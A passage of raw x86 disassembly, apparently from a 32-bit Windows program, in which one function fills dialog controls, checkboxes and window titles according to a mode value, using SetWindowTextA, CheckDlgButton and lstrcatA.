call fcn.00488934
inc edi
inc esi
cmp edi, 3
jne 0x492347
mov ecx, dword [0x4beaa8]
mov ecx, dword [ecx]
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18bc]
add eax, eax
add ax, 0x157
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xc9
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18bc]
add eax, eax
add ax, 0x158
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcc
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, word [eax + 0x1870]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0xcb
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18b5]
mov eax, ebp
mov cx, 0x197
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18b5], 0
je 0x49244b
mov eax, ebp
mov cl, 1
mov dx, 0xcb
call fcn.00489a04
mov eax, dword [0x4be594]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x12d
call fcn.00488934
mov eax, dword [0x4be594]
push dword [eax + 0xc]
push dword [eax + 8]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x12e
call fcn.00488934
mov eax, dword [0x4bee10]
push dword [eax + 4]
push dword [eax]
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x12f
call fcn.00488934
mov edi, 0x191
mov eax, edi
add ax, 0x2cf
sub ax, 0x191
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov edx, edi
call fcn.00488934
inc edi
cmp edi, 0x198
jne 0x4924a5
mov ax, 0x87
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x198
call fcn.00488934
mov ax, 0x2d6
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x20
je 0x492501
cmp byte [ebp + 0x54], 0x21
jne 0x492673
mov ecx, dword [0x4be784]
add ecx, 0x800
mov eax, ebp
mov dx, 0x30b
call fcn.00488934
mov eax, ebp
mov dl, 1
call fcn.004898dc
cmp byte [ebp + 0x54], 0x20
jne 0x492592
mov eax, dword [0x4be710]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x30e
call fcn.00488934
mov eax, dword [0x4be340]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x30f
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x189e], 1
sete dl
mov eax, ebp
mov cx, 0x30c
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18df]
mov eax, ebp
mov cx, 0x311
call fcn.00488920
jmp 0x4925c6
mov eax, ebp
xor ecx, ecx
mov dx, 0x30e
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x30f
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x30c
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x311
call fcn.004949d8
mov edx, dword [0x4be5d4]
mov dl, byte [edx]
mov eax, ebp
mov cx, 0x310
call fcn.00488920
mov bl, 1
jmp 0x492622
mov edx, dword [0x4be528]
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4949a8
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4be528]
add eax, 0x8e
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [ebp + 0x48]
call fcn.00486854
inc ebx
mov eax, ebp
mov edx, ebx
call fcn.00486950
test al, al
jne 0x4925dd
mov edx, dword [0x4be598]
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4949a8
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4be598]
add eax, 0x8e
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [ebp + 0x48]
call fcn.004868c0
cmp byte [ebp + 0x54], 0x11
jb 0x49275c
cmp byte [ebp + 0x54], 0x15
ja 0x49275c
mov eax, dword [0x4be744]
cmp dword [eax], 1
jle 0x4926b5
mov eax, ebp
mov cl, 1
mov dx, 0x325
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18c8]
mov eax, ebp
mov cx, 0x325
call fcn.00488920
mov eax, dword [0x4be884]
cmp byte [eax], 0
jne 0x49272e
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c1], 0
je 0x4926ef
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x4926f3
xor edx, edx
jmp 0x4926f5
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18b7]
mov eax, ebp
mov cx, 0x326
call fcn.00488920
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x18b7]
mov eax, ebp
mov dx, 0xd0
call fcn.00489a04
cmp byte [ebp + 0x54], 0x11
je 0x492778
cmp byte [ebp + 0x54], 0x12
je 0x492778
cmp byte [ebp + 0x54], 0x13
je 0x492778
cmp byte [ebp + 0x54], 0x16
jne 0x4927f8
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1930]
mov eax, ebp
mov cx, 0x329
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1934]
mov eax, ebp
mov cx, 0x328
call fcn.00488920
mov edi, 1
mov esi, dword [0x4be784]
add esi, 0x17b0
fild dword [esi]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov edx, edi
add dx, 0xd0
mov eax, ebp
call fcn.00488934
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x1934]
mov edx, edi
add dx, 0xd0
mov eax, ebp
call fcn.00489a04
inc edi
add esi, 4
cmp edi, 3
jne 0x4927b7
cmp byte [ebp + 0x54], 0x12
jne 0x492857
mov ecx, dword [0x4be784]
add ecx, 0x1a7a
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x1882]
add cx, 0x64
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18a6], 1
je 0x492857
mov eax, ebp
xor ecx, ecx
mov dx, 0x64
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 0x65
call fcn.004949d8
cmp byte [ebp + 0x54], 0x51
jne 0x492a17
mov ax, 0x2ea
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4be50c]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4bedb0]
mov byte [eax], 0
mov ebx, dword [0x4be784]
add ebx, 0x1b7a
push ebx
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, ebx
call fcn.004b8144
inc eax
add ebx, eax
cmp byte [ebx], 0
je 0x4928cf
mov eax, dword [0x4bedb0]
call fcn.004ab7d8
cmp byte [ebx], 0
jne 0x4928aa
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0x400
mov eax, ebp
mov dx, 0x71
call fcn.00488934
mov eax, dword [0x4be784]
movsx eax, byte [eax + 0x1890]
add ax, 0x33d
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xc9
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18a1]
xor dl, 1
mov eax, ebp
mov cx, 0xca
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1831]
mov eax, ebp
mov cx, 0xcb
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x187b]
mov eax, ebp
mov cx, 0xcc
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0xa46]
mov eax, ebp
mov cx, 0xcd
call fcn.00488920
mov ax, 0x121
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcb
call fcn.00488934
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
movsx eax, byte [eax + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 0xff
setne cl
mov eax, ebp
mov dx, 0xca
call fcn.004949d8
mov ecx, dword [0x4be43c]
mov cl, byte [ecx]
mov eax, ebp
mov dx, 0xcb
call fcn.004949d8
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
movsx eax, byte [eax + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 0xff
jne 0x492a06
mov eax, dword [0x4be6fc]
cmp byte [eax], 0
jne 0x492a0a
xor ecx, ecx
jmp 0x492a0c
mov cl, 1
mov eax, ebp
mov dx, 0xcd
call fcn.004949d8
cmp byte [ebp + 0x54], 0x11
je 0x492a2d
cmp byte [ebp + 0x54], 0x12
je 0x492a2d
cmp byte [ebp + 0x54], 0x14
jne 0x492b50
cmp byte [ebp + 0x54], 0x12
je 0x492a78
mov ecx, dword [0x4be784]
add ecx, 0x12a3
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0x1309
cmp byte [esi], 0
je 0x492a67
mov edx, esi
mov eax, dword [ebp + 0x48]
call fcn.00486854
add esi, 0x33
dec bl
jne 0x492a58
mov eax, dword [0x4be7a4]
call fcn.004ab744
mov eax, dword [0x4be784]
mov al, byte [eax + 0x189c]
mov edx, dword [0x4bedb0]
mov byte [edx], al
mov eax, dword [0x4bedb0]
mov byte [eax + 1], 0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18bf]
mov eax, ebp
mov cx, 0x323
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18b3], 0
jne 0x492adc
mov eax, dword [0x4be784]
cmp byte [eax + 0x188a], 0
jne 0x492adc
xor edx, edx
jmp 0x492ade
mov dl, 1
mov eax, ebp
mov cx, 0x322
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x188a], 0
jne 0x492b36
cmp byte [ebp + 0x54], 0x12
je 0x492b19
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c0], 0
setne dl
mov eax, ebp
mov cx, 0x327
call fcn.00488920
jmp 0x492b50
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18c0]
push eax
push 0x327
mov eax, dword [ebp]
push eax
call sub.user32.dll_CheckDlgButton
jmp 0x492b50
mov eax, ebp
xor ecx, ecx
mov dx, 0x327
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x322
call fcn.00489a04
cmp byte [ebp + 0x54], 0x14
jne 0x492be5
mov ecx, dword [0x4be784]
add ecx, 0x12d6
mov eax, ebp
mov dx, 0x309
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0x14d4
lea eax, [esp + 0x164]
mov edx, esi
mov ecx, 0x33
call fcn.00403678
lea eax, [esp + 0x164]
mov edx, 0x4949ac
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.00402ec4
je 0x492bb4
mov edx, esi
mov eax, dword [ebp + 0x4c]
call fcn.00486854
add esi, 0x33
dec bl
jne 0x492b7f
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c4], 0
je 0x492bd8
mov eax, ebp
mov cx, 0x320
mov dl, 1
call fcn.00488920
jmp 0x492be5
mov eax, ebp
mov cx, 0x321
mov dl, 1
call fcn.00488920
cmp byte [ebp + 0x54], 0x13
je 0x492bf7
cmp byte [ebp + 0x54], 0x1c
je 0x492bf7
cmp byte [ebp + 0x54], 0x1d
jne 0x492c32
mov ecx, dword [0x4be784]
add ecx, 0xabf
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0xb89
cmp byte [esi], 0
je 0x492c2b
mov edx, esi
mov eax, dword [ebp + 0x48]
call fcn.00486854
add esi, 0x65
dec bl
jne 0x492c1c
cmp byte [ebp + 0x54], 0x13
jne 0x492c7c
mov eax, ebp
mov cl, 1
mov dx, 0x320
call fcn.00489a04
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x189c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
cmp byte [ebp + 0x54], 0x1c
jne 0x492d9d
mov ax, 0xcb
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x320
call fcn.00488934
mov ax, 0xbd
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x96
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c1], 0
je 0x492cf5
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x492cf9
xor edx, edx
jmp 0x492cfb
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18b7]
mov eax, ebp
mov cx, 0x326
call fcn.00488920
mov eax, dword [0x4be784]
cmp byte [eax + 0x18b7], 0
je 0x492d66
mov eax, ebp
mov cl, 1
mov dx, 0xd0
call fcn.00489a04
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x189c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
cmp byte [ebp + 0x54], 0x1d
jne 0x492ef8
mov ax, 0xcb
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x320
call fcn.00488934
mov ax, 0xbd
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be934]
mov eax, dword [eax]
call fcn.004aed10
push eax
mov ax, 0x97
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0xa5a
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c1], 0
je 0x492e44
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x492e48
xor edx, edx
jmp 0x492e4a
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x324
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x30b
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x326
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18b7]
mov eax, ebp
mov cx, 0x326
call fcn.00488920
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x189c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
cmp byte [ebp + 0x54], 0x15
jne 0x492fcc
mov ecx, dword [0x4be784]
add ecx, 0xabf
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0xb89
cmp byte [esi], 0
je 0x492f36
mov edx, esi
mov eax, dword [ebp + 0x48]
call fcn.00486854
cmp byte [esi + 0x38d], 0
je 0x492f4d
lea edx, [esi + 0x38d]
mov eax, dword [ebp + 0x4c]
call fcn.00486854
add esi, 0x65
dec bl
jne 0x492f27
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x189c]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 2
xor eax, eax
call fcn.004af0b0
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0xb24
mov eax, ebp
mov dx, 0x309
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c4], 0
je 0x492fbf
mov eax, ebp
mov cx, 0x320
mov dl, 1
call fcn.00488920
jmp 0x492fcc
mov eax, ebp
mov cx, 0x321
mov dl, 1
call fcn.00488920
cmp byte [ebp + 0x54], 0x16
jne 0x4930d0
mov eax, ebp
mov cl, 1
mov dx, 0x320
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x326
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0xd0
call fcn.00489a04
mov ax, 0x98
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x99
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4be784]
add ecx, 0x878
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0x88c
cmp byte [esi], 0
je 0x49305a
mov edx, esi
mov eax, dword [ebp + 0x48]
call fcn.00486854
add esi, 0x14
dec bl
jne 0x49304b
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c1], 0
je 0x493091
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x493095
xor edx, edx
jmp 0x493097
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
cmp byte [ebp + 0x54], 0x17
jne 0x4931ab
mov ecx, dword [0x4be784]
movzx ecx, byte [ecx + 0x1898]
add cx, 0x64
mov eax, ebp
mov dl, 1
call fcn.00488920
mov eax, ebp
mov cl, 1
mov dx, 0x320
call fcn.00489a04
mov ecx, dword [0x4be784]
add ecx, 0x940
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov bl, 9
mov esi, dword [0x4be784]
add esi, 0x958
cmp byte [esi], 0
je 0x493135
mov edx, esi
mov eax, dword [ebp + 0x48]
call fcn.00486854
add esi, 0x18
dec bl
jne 0x493126
mov eax, dword [0x4be784]
cmp byte [eax + 0x18c1], 0
je 0x49316c
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x493170
xor edx, edx
jmp 0x493172
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
cmp byte [ebp + 0x54], 0x13
je 0x4931c9
cmp byte [ebp + 0x54], 0x11
je 0x4931c9
cmp byte [ebp + 0x54], 0x12
je 0x4931c9
cmp byte [ebp + 0x54], 0x16
je 0x4931c9
cmp byte [ebp + 0x54], 0x17
jne 0x493238
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x18a6]
mov eax, 1
call fcn.004aa578
add ax, 0xcb
dec eax
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x320
call fcn.00488934
mov eax, dword [0x4be884]
cmp byte [eax], 0
jne 0x49321e
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18a6]
push eax
push 0x320
mov eax, dword [ebp]
push eax
call sub.user32.dll_CheckDlgButton
jmp 0x493238
mov eax, ebp
xor ecx, ecx
mov dx, 0x324
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x320
call fcn.00489a04
cmp byte [ebp + 0x54], 0xe
jne 0x4932e3
mov ax, 0x53
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x188c]
lea eax, [eax + eax*4]
mov edx, dword [0x4becc0]
lea ecx, [edx + eax]
mov eax, ebp
mov dx, 1
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x188c]
lea eax, [eax + eax*2]
mov edx, dword [0x4be524]
lea ecx, [edx + eax*2]
mov eax, ebp
mov dx, 2
call fcn.00488934
mov ax, 0x155
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be784]
cmp dword [eax + 0x17ac], 0
jle 0x4932e3
mov eax, dword [0x4be784]
fild dword [eax + 0x17ac]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 6
jne 0x493329
mov ax, 0x9a
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x9b
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4be784]
add ecx, 0x1a20
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 7
jne 0x493394
mov ax, 0x9a
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
cmp byte [0x4c2480], 0
jne 0x493363
mov ax, 0x20c
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
jmp 0x49337d
mov ax, 0x9f
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov byte [0x4c2480], 0
mov ecx, dword [0x4be784]
add ecx, 0x1a2d
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x1b
jne 0x493563
xor edx, edx
mov eax, 0x7f
call fcn.004862ec
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x21e
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x62
call fcn.00488934
mov ax, 0x21c
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x66
call fcn.00488934
mov ax, 0x2b1
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x65
call fcn.00488934
mov ax, 0x2b2
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x63
call fcn.00488934
mov ax, 0x85
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x69
call fcn.00488934
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x40]
cmp dword [eax + 0x7c], 0
jne 0x493492
mov eax, dword [0x4be784]
push dword [eax + 0x1718]
push dword [eax + 0x1714]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov eax, dword [0x4be784]
fild dword [eax + 0x171c]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x68
call fcn.00488934
jmp 0x4934ce
mov eax, dword [esp + 0x40]
push dword [eax + 0x78]
push dword [eax + 0x74]
call fcn.004af438
mov ecx, eax
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov eax, dword [esp + 0x40]
fild dword [eax + 0x7c]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x68
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x18f2], 0
je 0x493519
mov eax, ebp
mov cx, 0x69
mov dl, 1
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1862]
mov eax, ebp
mov cx, 0x65
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1863]
mov eax, ebp
mov cx, 0x66
call fcn.00488920
jmp 0x493563
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov dl, byte [eax + 0xa4]
mov eax, ebp
mov cx, 0x65
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov dl, byte [eax + 0xa3]
mov eax, ebp
mov cx, 0x66
call fcn.00488920
cmp byte [ebp + 0x54], 8
jne 0x4935cd
mov ax, 0x9c
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x9d
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x17a8]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x39
je 0x4935df
cmp byte [ebp + 0x54], 0x3a
je 0x4935df
cmp byte [ebp + 0x54], 0x3b
jne 0x4935e6
mov eax, ebp
call fcn.0048cea4
cmp byte [ebp + 0x54], 0x3c
jne 0x4935f3
mov eax, ebp
call fcn.0048db30
cmp byte [ebp + 0x54], 0x35
je 0x493603
cmp byte [ebp + 0x54], 0x36
jne 0x493684
cmp byte [ebp + 0x54], 0x35
jne 0x493622
mov ecx, dword [0x4be784]
add ecx, 0x241f
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
jmp 0x493639
mov ecx, dword [0x4be784]
add ecx, 0x243f
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4be784]
cmp byte [eax + 0x188c], 0
jne 0x493659
mov ecx, 0x4949b0
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
jmp 0x493669
mov ecx, 0x4949c4
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
xor edx, edx
mov eax, 0x63
call fcn.004862ec
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x2d
jne 0x493700
mov ax, 0xa0
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4be564]
push dword [eax + 4]
push dword [eax]
call fcn.004af438
push eax
mov ax, 0xa1
call fcn.004aa600
pop edx
call fcn.004ae1b0
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be784]
cmp dword [eax + 0x177c], 0
jle 0x493700
mov eax, dword [0x4be784]
fild dword [eax + 0x177c]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x50
